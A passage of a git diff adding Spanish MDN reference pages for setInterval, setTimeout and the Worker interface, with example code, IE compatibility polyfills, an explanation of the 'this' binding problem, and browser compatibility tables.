+  &lt;div id="sample_div"&gt;Some text here&lt;/div&gt;
+
+  &lt;script type="text/javascript"&gt;
+    function opacity (nIndex, nLength, bBackwards) {
+      this.style.opacity = nIndex / nLength;
+      if (bBackwards ? nIndex === 0 : nIndex === 1) {
+        this.style.visibility = bBackwards ? "hidden" : "visible";
+      }
+    }
+
+    var fadeInOut = new MiniDaemon(document.getElementById("sample_div"), opacity, 300, 8);
+  &lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p><a href="/files/3995/minidaemon_example.html" title="MiniDaemon Example">Prueba este ejemplo</a></p>
+
+<h2 id="Notas">Notas</h2>
+
+<p>La función<code> setInterval()</code> es usada frecuentemente para asignar una pausa para ejecutar funciones recurrentes, como por ejemplo pintar el siguiente cuadro de una animación.</p>
+
+<p>Puedes cancelar el ciclo iniciado por un <code>setInterval() </code>usando el comando <a href="/en-US/docs/Web/API/WindowTimers/clearInterval"><code>window.clearInterval()</code></a>.</p>
+
+<p>Si solo deseas ejecutar el ciclo una sola vez despues de una pausa usa en su lugar la función <a href="/en-US/docs/Web/API/WindowTimers/setTimeout"><code>window.setTimeout()</code></a>.</p>
+
+<h3 id="Asegúrate_que_el_tiempo_de_ejecución_sea_menor_que_la_frecuencia">Asegúrate que el tiempo de ejecución sea menor que la frecuencia</h3>
+
+<p>Si existe la posibilidad de que tu función o el código a ejecutarse una y otra vez exeda el tiempo marcado en cada intervalo es recomendado que uses recursivamente el nombre de tu función usando <code><a href="/en-US/docs/Web/API/WindowTimers/setTimeout">window.setTimeout</a></code>. Por ejemplo, si usas <code>setInterval </code>para hacer llamadas a un servidor remoto cada 5 segundos, la latencia en la red, un servidor que no responde, o cualquier otro tipo de contratiempo puede generar una pausa mayor a la que indicaste. De esta forma terminarás con solicitudes XHR apiladas que no se resolverán necesariamente en orden.</p>
+
+<p>En estos casos llamadas con un patrón de <code>setTimeout()</code> recursivo es preferible:</p>
+
+<pre class="brush:js notranslate">(function loop(){
+   setTimeout(function() {
+      // Your logic here
+
+      loop();
+  }, delay);
+})();
+</pre>
+
+<p>En este fragmento de código, la función <code>loop()</code> es declarada y es ejecutada inmediatamente. La función <code>loop()</code> es invocada de forma recursiva dentro de <code>setTimeout()</code> despues de cada ejecución. Si bien este patrón no garantiza una ejecución a intervalos fijos, si garantiza que nunca se ejecutará un paso sin que se haya finalizado el anterior. </p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Especificaciones</th>
+   <th>Estatus</th>
+   <th>Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webappapis.html#dom-setinterval", "WindowTimers.setInterval()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Definición inicial (DOM Level 0)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad">Compatibilidad</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)<sup>[2]</sup></th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>4.0</td>
+   <td>4.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>Soporta parámetros para callback<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>Soporta parámetros para callback<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Whether it supports the optional parameters when in its first form or not.</p>
+
+<p>[2] Anterior a Firefox 13, Firefox pasaba un parametro adicional al callback, indicando el "actual lateness" del timeout en milisegundos. Este parámetro no estandar dejó de usarse en versiones posteriores a Firefox 13. No es recomendable que extensiones basadas en XPCOM para Firefox usen setInterval(), ya que las actualizaciones pueden causar el que el objeto {{domxref("Window")}} se actualice perdiendo los temporizadores. Deberás usar en su lugar {{interface("nsITimer")}}.</p>
+
+<h2 id="Ver_más">Ver más</h2>
+
+<ul>
+ <li><a href="/en-US/Add-ons/Code_snippets/Timers">JavaScript timers</a></li>
+ <li>{{domxref("WindowTimers.setTimeout")}}</li>
+ <li>{{domxref("WindowTimers.clearTimeout")}}</li>
+ <li>{{domxref("WindowTimers.clearInterval")}}</li>
+ <li>{{domxref("window.requestAnimationFrame")}}</li>
+ <li><a href="/en-US/Add-ons/Code_snippets/Timers/Daemons"><em>Daemons</em> management</a></li>
+</ul>
diff --git a/files/es/web/api/windowtimers/settimeout/index.html b/files/es/web/api/windowtimers/settimeout/index.html
new file mode 100644
index 0000000000..1180d9f8af
--- /dev/null
+++ b/files/es/web/api/windowtimers/settimeout/index.html
@@ -0,0 +1,340 @@
+---
+title: WindowOrWorkerGlobalScope.setTimeout
+slug: Web/API/WindowTimers/setTimeout
+tags:
+  - API
+  - HTML DOM
+  - WindowOrWorkerGlobalScope
+  - setTimeout
+translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>El método <strong><code>setTimeout()</code></strong> del mixin {{domxref("WindowOrWorkerGlobalScope")}} establece un temporizador que ejecuta una función o una porción de código después de que transcurre un tiempo establecido.</p>
+
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>var idTemporizador</em> = <em>scope</em>.setTimeout(<em>funcion</em>[, <em>retraso</em>, <em>parametro1</em>, <em>parametro2</em>, ...]);
+<em>var</em> <em>idTimeout</em> = <em>scope</em>.setTimeout(<em>funcion</em>[, <em>retraso</em>]);
+<em>var idTimeout</em> = <em>scope</em>.setTimeout(<em>codigo</em>[, <em>retraso</em>]);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>funcion</code></dt>
+ <dd>Una {{jsxref("function")}} para ejecutar después de que expire el temporizador.</dd>
+ <dt><code>codigo</code></dt>
+ <dd>Una sintaxis opcional que le permite incluir una cadena en lugar de una función, la cual es compilada y ejecutada cuando el temporizador expira. Esta sintaxis <strong>no se recomienda</strong> por las mismas razones que hacen del uso de {{jsxref("Global_Objects/eval", "eval()")}} un riesgo de seguridad.</dd>
+ <dt><code>retraso</code> {{optional_inline}}</dt>
+ <dd>Tiempo, en milisegundos  (milésimas de segundo), que el temporizador debe esperar antes de ejecutar la función o el código. Si se omite este parámetro se usa el valor 0. Tenga en cuenta que el retraso real puede ser más prolongado; ver más abajo {{anch("Reasons for delays longer than specified")}}.</dd>
+ <dt><code>param1, ..., paramN</code> {{optional_inline}}</dt>
+ <dd>Parámetros adicionales que se pasan a la función especificada por  <em>func</em> una vez el temporizador expira.</dd>
+</dl>
+
+<div class="note"><strong>Nota:</strong> Pasar parámetros adicionales a la función en la primera sintaxis no funciona en Internet Explorer 9 o inferior. Si quiere habilitar esta funcionalidad en ese navegador,  debe usar un código de compatibilidad (vea la sección <a href="#Callback_arguments">Callback arguments</a>).</div>
+
+<h3 id="Valor_retornado">Valor retornado</h3>
+
+<p>El valor retornado <code>IDtemporizador</code> es númerico y no es cero; identifica el temporizador creado con la llamada a <code>setTimeout()</code>; este valor puede pasarse a {{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}} para cancelar el temporizador.</p>
+
+<p>Puede ser útil advertir que  <code>setTimeout()</code> y {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} comparten la misma piscina de IDs, y que tanto <code>clearTimeout()</code> como {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} pueden intercambiarse.  Por claridad, sin embargo,  debe hacerlos coincidir para evitar confusiones cuando mantenga su código.</p>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<p>El siguiente ejemplo establece dos botenes simples en una página web y los engancha a las rutinas <code>setTimeout()</code> y <code>clearTimeout()</code>. Presionando el primer botón establecerá un temporizador que llama un diálogo de alerta después de dos segundos y guarda el id del temporizador para usarlo con <code>clearTimeout()</code>. Opcionalmente puede cancelar este temporizador presionando el segundo botón.</p>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Ejemplo funcional&lt;/p&gt;
+&lt;button onclick="delayedAlert();"&gt;Muestra una caja de alerta después de dos segundos&lt;/button&gt;
+&lt;p&gt;&lt;/p&gt;
+&lt;button onclick="clearAlert();"&gt;Cancela la alerta antes de que ocurra&lt;/button&gt;
+</pre>
+
+<h3 id="Contenido_JavaScript">Contenido JavaScript</h3>
+
+<pre class="brush: js">var timeoutID;
+
+function delayedAlert() {
+  timeoutID = window.setTimeout(slowAlert, 2000);
+}
+
+function slowAlert() {
+  alert("That was really slow!");
+}
+
+function clearAlert() {
+  window.clearTimeout(timeoutID);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Example') }}</p>
+
+<p>Vea también <a href="/en-US/docs/DOM/window.clearTimeout#Example" title="en-US/docs/DOM/window.clearTimeout#Example"><code>clearTimeout()</code> example</a>.</p>
+
+<h2 id="Callback_arguments">Callback arguments</h2>
+
+<p>Si necesita pasar un argumento a su función callback, pero necesita que funcione en Internet Explorer, que no soporta el envío de parámetros adicionales (ni con <code>setTimeout()</code> o <code>setInterval()</code>) usted puede incluir este código de compatibilidad <em>IE-specific</em> que habilitará la funcionalidad estándar de HTML5 para pasar los parámetros adicionales en ese navegador para ambos temporizadores solamente insertandolo al inicio de sus scripts.</p>
+
+<pre class="brush: js">/*\
+|*|
+|*|  IE-specific polyfill which enables the passage of arbitrary arguments to the
+|*|  callback functions of JavaScript timers (HTML5 standard syntax).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/window.setInterval
+|*|
+|*|  Syntax:
+|*|  var timeoutID = window.setTimeout(func, delay, [param1, param2, ...]);
+|*|  var timeoutID = window.setTimeout(code, delay);
+|*|  var intervalID = window.setInterval(func, delay[, param1, param2, ...]);
+|*|  var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+if (document.all &amp;&amp; !window.setTimeout.isPolyfill) {
+  var __nativeST__ = window.setTimeout;
+  window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeST__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setTimeout.isPolyfill = true;
+}
+
+if (document.all &amp;&amp; !window.setInterval.isPolyfill) {
+  var __nativeSI__ = window.setInterval;
+  window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeSI__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setInterval.isPolyfill = true;
+}
+</pre>
+
+<h2 id="Arreglo_solo_para_IE">Arreglo solo para IE</h2>
+
+<p>Si quiere una solución completamente no intrusiva con otros navegadores móviles o de escritorio, incluyendo IE 9 y superior, puede usar los comentarios condicionales de JavaScript:</p>
+
+<pre class="brush: js">/*@cc_on
+  // conditional IE &lt; 9 only fix
+  @if (@_jscript_version &lt;= 6)
+  (function(f){
+     window.setTimeout =f(window.setTimeout);
+     window.setInterval =f(window.setInterval);
+  })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c.apply(this,a)},t)}});
+  @end
+@*/
+</pre>
+
+<p>O usar un enfoque más limpio basado en el condicional para IE de HTML:</p>
+
+<pre class="brush: html">&lt;!--[if lt IE 9]&gt;&lt;script&gt;
+(function(f){
+window.setTimeout =f(window.setTimeout);
+window.setInterval =f(window.setInterval);
+})(function(f){return function(c,t){
+var a=[].slice.call(arguments,2);return f(function(){c.apply(this,a)},t)}
+});
+&lt;/script&gt;&lt;![endif]--&gt;
+</pre>
+
+<p>Otra posibilidad es usar una función anónima para llamar el callback, pero esta solución es un poco más costosa. Ejemplo:</p>
+
+<pre class="brush: js">var intervalID = setTimeout(function() { myFunc("uno", "dos", "tres"); }, 1000);
+</pre>
+
+<p>Sin embargo, otra posibilidad es usar <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Function/bind" title="/en-US/docs/JavaScript/Reference/Global_Objects/Function/bind">function's bind</a>. Ejemplo:</p>
+
+<pre class="brush: js">setTimeout(function(arg1){}.bind(undefined, 10));
+</pre>
+
+<h2 id="El_problema_this">El problema "<code>this</code>"</h2>
+
+<p>Cuando pasa un método a <code>setTimeout()</code> (o cualquier otra función , por el estilo), podría ser invocada con el valor de <code>this</code> equivocado. Este problema es explicado en detalle en la <a href="/en-US/docs/JavaScript/Reference/Operators/this#Method_binding" title="en-US/docs/Core_JavaScript_1.5_Reference/Operators/Special_Operators/this_Operator#Method_binding">referencia de JavaScript</a>.</p>
+
+<h3 id="Explicación">Explicación</h3>
+
+<p>El código ejecutado por <code>setTimeout()</code> corre en un contexto de ejecución diferente al de la función por la que fue llamado. Como consecuencia, la palabra clave <code>this para la función llamada </code>será asignado al objeto <code>window</code> (o <code>global</code>); no tendrá el mismo valor del <code>this</code> de la función que llamó al <code>setTimeout</code>. Vea el siguiente ejemplo:</p>
+
+<pre class="brush: js">myArray = ["cero", "uno", "dos"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length &gt; 0 ? this[sProperty] : this);
+};
+
+myArray.myMethod(); // imprime "cero,uno,dos"
+myArray.myMethod(1); // imprime "uno"
+setTimeout(myArray.myMethod, 1000); // imprime "[object Window]" después de 1 segundo
+setTimeout(myArray.myMethod, 1500, "1"); // imprime "undefined" después de 1.5 segundos
+// intentemos pasar el objeto 'this'
+setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // mismo error</pre>
+
+<p>Como puedes ver no hay forma de pasar el objeto <code>this</code> a la función callback.</p>
+
+<h3 id="Una_posible_solución">Una posible solución</h3>
+
+<p>Una posible forma de resolver el problema del "<code>this</code>" es reemplazar las dos funciones globales nativas <code>setTimeout()</code> or <code>setInterval()por dos no-nativas<em> </em> </code>que permitan su invocación a través del método <a href="en-US/docs/JavaScript/Reference/Global_Objects/Function/call" title="en-US/docs/JavaScript/Reference/Global_Objects/Function/call"><code>Function.prototype.call</code></a>. El siguiente ejemplo muestra un posible reemplazo:</p>
+
+<pre class="brush: js">// Enable the passage of the 'this' object through the JavaScript timers
+
+var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeST__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeSI__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};</pre>
+
+<div class="note"><strong>Nota:</strong> Estos dos reemplazos habilitarán el estándar HTML5 para el paso de argumentos arbitrarios a las funciones callback de los temporizadores en IE. Pueden usarse como polyfills también. Vea el párrafo <a href="#Callback_arguments">Callback arguments</a>.</div>
+
+<p>Prueba de la nueva característica:</p>
+
+<pre class="brush: js">myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length &gt; 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, "Hello world!"); // the standard use of setTimeout and setInterval is preserved, but...
+setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2.5 seconds
+</pre>
+
+<p>No hay soluciones nativas <em>ad hoc</em> a este problema.</p>
+
+<div class="note"><strong>Nota:</strong> JavaScript 1.8.5 introduce el método <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/bind" title="en-US/docs/JavaScript/Reference/Global Objects/Function/bind">Function.prototype.bind(</a></code>, que permite especificar el valor que debería usarse como <code>this</code> para todas las llamadas a una función dada. Esto permite evitar fácilmente los problemas en los que no es claro que será, dependiendo del contexto desde el cual la función sea llamada.</div>
+
+<h2 id="Notas">Notas</h2>
+
+<p>Puede cancelar el temporizador usando <code><a href="/en-US/docs/DOM/window.clearTimeout" title="en-US/docs/DOM/window.clearTimeout">window.clearTimeout()</a></code>. Si desea tener una función llamada repetidamente (p.e., cada N milisegundos), considere usar <code><a href="/en-US/docs/DOM/window.setInterval" title="en-US/docs/DOM/window.setInterval">window.setInterval()</a></code>.</p>
+
+<p>Es importante notar que la función o fragmento de código no puede ser ejecutado hasta que el hilo que llamó <code>setTimeout()</code>haya terminado.</p>
+
+<h3 id="Pasando_cadenas_literales">Pasando cadenas literales</h3>
+
+<p>Pasando una cadena en vez de una función a <code>setTimeout()</code>pasa lo mismo que al usar <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/eval#Don.27t_use_eval.21" title="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/eval">eval</a>. </code></p>
+
+<pre class="brush: js">// Correcto
+window.setTimeout(function() {
+    alert("Hello World!");
+}, 500);
+
+// Incorrecto
+window.setTimeout("alert(\"Hello World!\");", 500);
+
+</pre>
+
+<p>Las cadenas literales son evaluadas en el contexto global, así que los símbolos locales en el contexto donde <code>setTimeout()</code> fue llamado no estarán disponibles cuando la cadena es evaluada como código.</p>
+
+<h3 id="Minimum_maximum_delay_and_timeout_nesting">Minimum/ maximum delay and timeout nesting</h3>
+
+<p><a class="external" href="http://code.google.com/p/chromium/issues/detail?id=792#c10" title="http://code.google.com/p/chromium/issues/detail?id=792#c10">Historically</a> browsers implement <code>setTimeout()</code> "clamping": successive <code>setTimeout()</code> calls with <code>delay</code> smaller than the "minimum delay" limit are forced to use at least the minimum delay. The minimum delay, <code>DOM_MIN_TIMEOUT_VALUE</code>, is 4 ms (stored in a preference in Firefox: <code>dom.min_timeout_value</code>), with a <code>DOM_CLAMP_TIMEOUT_NESTING_LEVEL</code> of 5ms.</p>
+
+<p>In fact, 4ms is <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#timers">specified by the HTML5 spec</a> and is consistent across browsers released in 2010 and onward. Prior to {{ geckoRelease("5.0") }}, the minimum timeout value for nested timeouts was 10 ms.</p>
+
+<p>In addition to "clamping", the timeout can also fire later when the page (or the OS/browser itself) is busy with other tasks.</p>
+
+<p>To implement a 0 ms timeout in a modern browser, you can use {{ domxref("window.postMessage()") }} as <a class="external" href="http://dbaron.org/log/20100309-faster-timeouts" title="http://dbaron.org/log/20100309-faster-timeouts">described here</a>.</p>
+
+<p>Browsers including Internet Explorer, Chrome, Safari, and Firefox store the delay as a 32-bit signed Integer internally. This causes an Integer overflow when using delays larger than 2147483647, resulting in the timeout being executed immediately.</p>
+
+<h4 id="Inactive_tabs">Inactive tabs</h4>
+
+<p>In {{ geckoRelease("5.0") }} and Chrome 11, timeouts are clamped to firing no more often than once per second (1000ms) in inactive tabs; see {{ bug(633421) }} for more information about this in Mozilla or <a class="external" href="http://crbug.com/66078" title="http://crbug.com/66078">crbug.com/66078</a> for details about this in Chrome.</p>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("1") }}</td>
+   <td>4.0</td>
+   <td>4.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>Soporta parámetros para callback*1</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>10.0</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatUnknown }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoMobile("1") }}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>Soporta parámetros para callback*1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>{{ CompatUnknown }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>*1 Whether it supports the optional parameters when in its first form or not.</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<p>Parte del DOM nivel 0, como se especifica en <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#timers" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#timers">HTML5</a>.</p>
+
+<h2 id="See_also" name="See_also">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/JavaScript/Timers" title="/en-US/docs/JavaScript/Timers">JavaScript timers</a></li>
+ <li><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Timer.jsm" title="/en-US/docs/Mozilla/JavaScript_code_modules/Timer.jsm">Timer.jsm</a></li>
+ <li>{{domxref("window.setInterval")}}</li>
+ <li>{{domxref("window.requestAnimationFrame")}}</li>
+ <li><a href="/en-US/docs/JavaScript/Timers/Daemons" title="/en-US/docs/JavaScript/Timers/Daemons"><em>Daemons</em> management</a></li>
+</ul>
diff --git a/files/es/web/api/worker/index.html b/files/es/web/api/worker/index.html
new file mode 100644
index 0000000000..4be8325629
--- /dev/null
+++ b/files/es/web/api/worker/index.html
@@ -0,0 +1,155 @@
+---
+title: Worker
+slug: Web/API/Worker
+tags:
+  - API
+  - DOM
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - Web Workers
+  - Worker
+  - Workers
+translation_of: Web/API/Worker
+---
+<p>{{APIRef("Web Workers API")}}</p>
+
+<p>The <strong><code>Worker</code></strong> interface of the <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a> represents a background task that can be easily created and can send messages back to its creator. Creating a worker is as simple as calling the <code>Worker()</code> constructor and specifying a script to be run in the worker thread.</p>
+
+<p>Workers may in turn spawn new workers as long as those workers are hosted within the same origin as the parent page (Note: nested workers are <a href="https://groups.google.com/a/chromium.org/forum/#!topic/blink-dev/5R3B4RN4GHU">currently not implemented in Blink</a>).  In addition workers may use <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> for network I/O, with the stipulation that the <code>responseXML</code> and <code>channel</code> attributes on <code>XMLHttpRequest</code> always return <code>null</code>.</p>
+
+<p>Not <a href="/En/DOM/Worker/Functions_available_to_workers" title="En/DOM/Worker/Functions available to workers">all interfaces and functions are available</a> to the script associated with a <code>Worker</code>.</p>
+
+<p>In Firefox, if you want to use workers in extensions and would like to have access to <a href="/en/js-ctypes" title="en/js-ctypes">js-ctypes</a>, you should use the {{ domxref("ChromeWorker") }} object instead.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("EventTarget")}}, and implements properties from {{domxref("AbstractWorker")}}.</em></p>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("AbstractWorker.onerror")}}</dt>
+ <dd>An {{ domxref("EventListener") }} called whenever an {{domxref("ErrorEvent")}} of type <code>error</code> bubbles through to the worker. This is inherited from {{domxref("AbstractWorker")}}.</dd>
+ <dt>{{domxref("Worker.onmessage")}}</dt>
+ <dd>An {{ domxref("EventListener") }} called whenever a {{domxref("MessageEvent")}} of type <code>message</code> bubbles through the worker — i.e. when a message is sent to the parent document from the worker via {{domxref("DedicatedWorkerGlobalScope.postMessage")}}. The message is stored in the event's {{domxref("MessageEvent.data", "data")}} property.</dd>
+</dl>
+
+<h2 id="Constructors">Constructors</h2>
+
+<dl>
+ <dt>{{domxref("Worker.Worker", "Worker()")}}</dt>
+ <dd>Creates a dedicated web worker that executes the script at the specified URL. Workers can also be constructed using <a href="/en-US/docs/Web/API/Blob">Blobs</a>.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, {{domxref("EventTarget")}}, and implements properties from {{domxref("AbstractWorker")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Worker.postMessage()")}}</dt>
+ <dd>Sends a message — which can consist of <code>any</code> JavaScript object — to the worker's inner scope.</dd>
+ <dt>{{domxref("Worker.terminate()")}}</dt>
+ <dd>Immediately terminates the worker. This does not offer the worker an opportunity to finish its operations; it is simply stopped at once. ServiceWorker instances do not support this method.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>The following code snippet shows creation of a {{domxref("Worker")}} object using the {{domxref("Worker.Worker", "Worker()")}} constructor and usage of the object:</p>
+
+<pre class="brush: js">var myWorker = new Worker("worker.js");
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}</pre>
+
+<p>For a full example, see our<a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">run dedicated worker</a>).</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#worker", "Worker")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("Web Workers")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Workers', "#worker", "Worker")}}</td>
+   <td>{{Spec2('Web Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>Support varies for different types of workers. See each worker type's page for specifics.</p>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>10.0</td>
+   <td>10.6</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4</td>
+   <td>3.5</td>
+   <td>1.0.1</td>
+   <td>10.0</td>
+   <td>11.5</td>
+   <td>5.1</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="internal" href="/En/Using_web_workers" title="en/Using DOM workers">Using web workers</a></li>
+ <li><a href="/En/DOM/Worker/Functions_available_to_workers" title="https://developer.mozilla.org/En/DOM/Worker/Functions_available_to_workers">Functions available to workers</a></li>
+ <li>Other kind of workers: {{ domxref("SharedWorker") }} and <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker</a>.</li>
+ <li>Non-standard, Gecko-specific workers: {{ domxref("ChromeWorker") }}, used by extensions.</li>
+</ul>
diff --git a/files/es/web/api/worker/postmessage/index.html b/files/es/web/api/worker/postmessage/index.html
new file mode 100644
index 0000000000..c47fe400fc
--- /dev/null
